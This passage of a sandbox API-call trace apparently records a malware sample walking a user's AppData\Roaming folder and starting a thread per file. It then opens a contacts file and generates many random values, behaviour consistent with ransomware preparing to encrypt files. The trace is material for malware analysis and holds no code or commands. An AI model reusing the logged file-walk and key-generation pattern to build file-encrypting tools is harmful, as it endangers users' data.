(HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400f18 [0048.750] wcscpy (in: _Dest=0x400f18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.750] wcscat (in: _Dest=0x400f18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.750] wcscat (in: _Dest=0x400f18, _Source="QK0TgMh71.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QK0TgMh71.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QK0TgMh71.flv" [0048.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0048.751] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbad94470, ftCreationTime.dwHighDateTime=0x1d4cf3e, ftLastAccessTime.dwLowDateTime=0xf2f6a8c0, ftLastAccessTime.dwHighDateTime=0x1d4d376, ftLastWriteTime.dwLowDateTime=0xf2f6a8c0, ftLastWriteTime.dwHighDateTime=0x1d4d376, nFileSizeHigh=0x0, nFileSizeLow=0x18772, dwReserved0=0x0, dwReserved1=0x0, cFileName="RuC 2Z.mp3", cAlternateFileName="RUC2Z~1.MP3")) returned 1 [0048.751] wcscmp (_String1="RuC 2Z.mp3", _String2=".") returned 1 [0048.751] wcscmp (_String1="RuC 2Z.mp3", _String2="..") returned 1 [0048.751] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x401018 [0048.751] wcscpy (in: _Dest=0x401018, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.751] wcscat (in: _Dest=0x401018, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.751] wcscat (in: _Dest=0x401018, _Source="RuC 2Z.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RuC 2Z.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\RuC 2Z.mp3" [0048.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x401018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0048.753] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f3f6690, ftCreationTime.dwHighDateTime=0x1d4c7b1, ftLastAccessTime.dwLowDateTime=0x2c826070, ftLastAccessTime.dwHighDateTime=0x1d4d449, ftLastWriteTime.dwLowDateTime=0x2c826070, ftLastWriteTime.dwHighDateTime=0x1d4d449, nFileSizeHigh=0x0, nFileSizeLow=0x181be, dwReserved0=0x0, dwReserved1=0x0, cFileName="rX_Lm0da.xls", cAlternateFileName="")) returned 1 [0048.753] wcscmp (_String1="rX_Lm0da.xls", _String2=".") returned 1 [0048.753] wcscmp (_String1="rX_Lm0da.xls", _String2="..") returned 1 [0048.753] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400f98 [0048.753] wcscpy (in: _Dest=0x400f98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.753] wcscat (in: _Dest=0x400f98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.753] wcscat (in: _Dest=0x400f98, _Source="rX_Lm0da.xls" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rX_Lm0da.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rX_Lm0da.xls" [0048.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0048.754] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x99a67950, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x6d67f720, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x6d67f720, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x16ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIiUkX.gif", cAlternateFileName="")) returned 1 [0048.754] wcscmp (_String1="SMIiUkX.gif", _String2=".") returned 1 [0048.754] wcscmp (_String1="SMIiUkX.gif", _String2="..") returned 1 [0048.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400418 [0048.754] wcscpy (in: _Dest=0x400418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.754] wcscat (in: _Dest=0x400418, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.754] wcscat (in: _Dest=0x400418, _Source="SMIiUkX.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SMIiUkX.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SMIiUkX.gif" [0048.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0048.756] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e956250, ftCreationTime.dwHighDateTime=0x1d4d4e1, ftLastAccessTime.dwLowDateTime=0x7b769d30, ftLastAccessTime.dwHighDateTime=0x1d4c810, ftLastWriteTime.dwLowDateTime=0x7b769d30, ftLastWriteTime.dwHighDateTime=0x1d4c810, nFileSizeHigh=0x0, nFileSizeLow=0x8f3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="sSIWTL QxKHHqhvAA0v.mkv", cAlternateFileName="SSIWTL~1.MKV")) returned 1 [0048.756] wcscmp (_String1="sSIWTL QxKHHqhvAA0v.mkv", _String2=".") returned 1 [0048.756] wcscmp (_String1="sSIWTL QxKHHqhvAA0v.mkv", _String2="..") returned 1 [0048.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x449ed0 [0048.756] wcscpy (in: _Dest=0x449ed0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.756] wcscat (in: _Dest=0x449ed0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.756] wcscat (in: _Dest=0x449ed0, _Source="sSIWTL QxKHHqhvAA0v.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sSIWTL QxKHHqhvAA0v.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\sSIWTL QxKHHqhvAA0v.mkv" [0048.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x449ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0048.757] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24d31b40, ftCreationTime.dwHighDateTime=0x1d4d37b, ftLastAccessTime.dwLowDateTime=0x210c8d60, ftLastAccessTime.dwHighDateTime=0x1d4c7f6, ftLastWriteTime.dwLowDateTime=0x210c8d60, ftLastWriteTime.dwHighDateTime=0x1d4c7f6, nFileSizeHigh=0x0, nFileSizeLow=0xf44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TX7dmnJGpa_ztEYtCy.odp", cAlternateFileName="TX7DMN~1.ODP")) returned 1 [0048.757] wcscmp (_String1="TX7dmnJGpa_ztEYtCy.odp", _String2=".") returned 1 [0048.757] wcscmp (_String1="TX7dmnJGpa_ztEYtCy.odp", _String2="..") returned 1 [0048.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x44d670 [0048.757] wcscpy (in: _Dest=0x44d670, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.757] wcscat (in: _Dest=0x44d670, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.757] wcscat (in: _Dest=0x44d670, _Source="TX7dmnJGpa_ztEYtCy.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\TX7dmnJGpa_ztEYtCy.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\TX7dmnJGpa_ztEYtCy.odp" [0048.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44d670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0049.103] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7aae6730, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0xe6309170, ftLastAccessTime.dwHighDateTime=0x1d4cf46, ftLastWriteTime.dwLowDateTime=0xe6309170, ftLastWriteTime.dwHighDateTime=0x1d4cf46, nFileSizeHigh=0x0, nFileSizeLow=0x1269c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unpo5RFbZfA510NewF.m4a", cAlternateFileName="UNPO5R~1.M4A")) returned 1 [0049.103] wcscmp (_String1="Unpo5RFbZfA510NewF.m4a", _String2=".") returned 1 [0049.103] wcscmp (_String1="Unpo5RFbZfA510NewF.m4a", _String2="..") returned 1 [0049.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x44ebd8 [0049.103] wcscpy (in: _Dest=0x44ebd8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0049.103] wcscat (in: _Dest=0x44ebd8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0049.103] wcscat (in: _Dest=0x44ebd8, _Source="Unpo5RFbZfA510NewF.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Unpo5RFbZfA510NewF.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Unpo5RFbZfA510NewF.m4a" [0049.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44ebd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0049.526] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaea8cb70, ftCreationTime.dwHighDateTime=0x1d4d327, ftLastAccessTime.dwLowDateTime=0xf0966f20, ftLastAccessTime.dwHighDateTime=0x1d4cb06, ftLastWriteTime.dwLowDateTime=0xf0966f20, ftLastWriteTime.dwHighDateTime=0x1d4cb06, nFileSizeHigh=0x0, nFileSizeLow=0x176eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="UyW19O7fc6TUy.wav", cAlternateFileName="UYW19O~1.WAV")) returned 1 [0049.526] wcscmp (_String1="UyW19O7fc6TUy.wav", _String2=".") returned 1 [0049.526] wcscmp (_String1="UyW19O7fc6TUy.wav", _String2="..") returned 1 [0049.526] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447078 [0049.526] wcscpy (in: _Dest=0x447078, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0049.526] wcscat (in: _Dest=0x447078, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0049.526] wcscat (in: _Dest=0x447078, _Source="UyW19O7fc6TUy.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UyW19O7fc6TUy.wav" [0049.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac4 [0049.527] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62d3aa70, ftCreationTime.dwHighDateTime=0x1d4cdc4, ftLastAccessTime.dwLowDateTime=0x1d048c80, ftLastAccessTime.dwHighDateTime=0x1d4c5ef, ftLastWriteTime.dwLowDateTime=0x1d048c80, ftLastWriteTime.dwHighDateTime=0x1d4c5ef, nFileSizeHigh=0x0, nFileSizeLow=0x16702, dwReserved0=0x0, dwReserved1=0x0, cFileName="XKc9gZ.m4a", cAlternateFileName="")) returned 1 [0049.527] wcscmp (_String1="XKc9gZ.m4a", _String2=".") returned 1 [0049.527] wcscmp (_String1="XKc9gZ.m4a", _String2="..") returned 1 [0049.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45eeb8 [0049.527] wcscpy (in: _Dest=0x45eeb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0049.527] wcscat (in: _Dest=0x45eeb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0049.527] wcscat (in: _Dest=0x45eeb8, _Source="XKc9gZ.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" [0049.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45eeb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8 [0049.529] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3081db50, ftCreationTime.dwHighDateTime=0x1d4c635, ftLastAccessTime.dwLowDateTime=0x9ad376c0, ftLastAccessTime.dwHighDateTime=0x1d4c69a, ftLastWriteTime.dwLowDateTime=0x9ad376c0, ftLastWriteTime.dwHighDateTime=0x1d4c69a, nFileSizeHigh=0x0, nFileSizeLow=0x10f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="y1Fny_hdJruWkVeP.mp3", cAlternateFileName="Y1FNY_~1.MP3")) returned 1 [0049.529] wcscmp (_String1="y1Fny_hdJruWkVeP.mp3", _String2=".") returned 1 [0049.529] wcscmp (_String1="y1Fny_hdJruWkVeP.mp3", _String2="..") returned 1 [0049.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416c00 [0049.529] wcscpy (in: _Dest=0x416c00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0049.529] wcscat (in: _Dest=0x416c00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0049.529] wcscat (in: _Dest=0x416c00, _Source="y1Fny_hdJruWkVeP.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" [0049.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc [0049.530] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x505226b0, ftCreationTime.dwHighDateTime=0x1d4d2e2, ftLastAccessTime.dwLowDateTime=0xfe485280, ftLastAccessTime.dwHighDateTime=0x1d4cb03, ftLastWriteTime.dwLowDateTime=0xfe485280, ftLastWriteTime.dwHighDateTime=0x1d4cb03, nFileSizeHigh=0x0, nFileSizeLow=0x6dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y3yvWzzP-m2o.flv", cAlternateFileName="Y3YVWZ~1.FLV")) returned 1 [0049.530] wcscmp (_String1="Y3yvWzzP-m2o.flv", _String2=".") returned 1 [0049.530] wcscmp (_String1="Y3yvWzzP-m2o.flv", _String2="..") returned 1 [0049.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447a08 [0049.530] wcscpy (in: _Dest=0x447a08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0049.530] wcscat (in: _Dest=0x447a08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0049.530] wcscat (in: _Dest=0x447a08, _Source="Y3yvWzzP-m2o.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" [0049.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad0 [0049.537] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fdc430, ftCreationTime.dwHighDateTime=0x1d4c941, ftLastAccessTime.dwLowDateTime=0xc208020, ftLastAccessTime.dwHighDateTime=0x1d4d2e4, ftLastWriteTime.dwLowDateTime=0xc208020, ftLastWriteTime.dwHighDateTime=0x1d4d2e4, nFileSizeHigh=0x0, nFileSizeLow=0xc819, dwReserved0=0x0, dwReserved1=0x0, cFileName="zodKwSQbXo.mkv", cAlternateFileName="ZODKWS~1.MKV")) returned 1 [0049.537] wcscmp (_String1="zodKwSQbXo.mkv", _String2=".") returned 1 [0049.537] wcscmp (_String1="zodKwSQbXo.mkv", _String2="..") returned 1 [0049.537] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447a90 [0049.537] wcscpy (in: _Dest=0x447a90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0049.537] wcscat (in: _Dest=0x447a90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0049.537] wcscat (in: _Dest=0x447a90, _Source="zodKwSQbXo.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" [0049.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4 [0049.539] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9fdc430, ftCreationTime.dwHighDateTime=0x1d4c941, ftLastAccessTime.dwLowDateTime=0xc208020, ftLastAccessTime.dwHighDateTime=0x1d4d2e4, ftLastWriteTime.dwLowDateTime=0xc208020, ftLastWriteTime.dwHighDateTime=0x1d4d2e4, nFileSizeHigh=0x0, nFileSizeLow=0xc819, dwReserved0=0x0, dwReserved1=0x0, cFileName="zodKwSQbXo.mkv", cAlternateFileName="ZODKWS~1.MKV")) returned 0 [0049.539] FindClose (in: hFindFile=0x440820 | out: hFindFile=0x440820) returned 1 [0049.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x487190) returned 1 [0049.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d0b0) returned 1 [0049.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445e48) returned 1 Thread: id = 271 os_tid = 0x9a8 [0046.902] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact")) returned 0x20 [0048.621] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", dwFileAttributes=0x20) returned 1 [0059.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3a4 [0059.073] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x81bf970 | out: lpFileSize=0x81bf970*=1178) returned 1 [0059.073] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.073] ReadFile (in: hFile=0x3a4, lpBuffer=0x81bf8f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x81bf8f0, lpOverlapped=0x0 | out: lpBuffer=0x81bf8f4*, lpNumberOfBytesRead=0x81bf8f0*=0x4, lpOverlapped=0x0) returned 1 [0059.074] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0059.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01a0 [0059.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a00 [0059.075] NtQuerySystemTime (in: CurrentTime=0x81bf8d0 | out: CurrentTime=0x81bf8d0*=132174898230540000) returned 0x0 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x787e940c [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x1f720699 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x4eeeada [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x4fffed72 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x164ccc08 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x4af73e6b [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x75b51a88 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x4d786efc [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x78bfd0e5 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x1b75968e [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x2000d767 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x4e821107 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x665be1c5 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x40926211 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x501b0897 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0xd59f527 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0xfaff55d [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x57c0f4ac [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x743e2d0d [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0xd7fc094 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x7a3b38d8 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x39442223 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x7565d493 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x73b4626 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x743eb23f [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x3434fdf8 [0059.075] RtlRandomEx (in: Seed=0x81bf8dc | out: Seed=0x81bf8dc) returned 0x65e74eda [0059.075] RtlRandomEx (in: 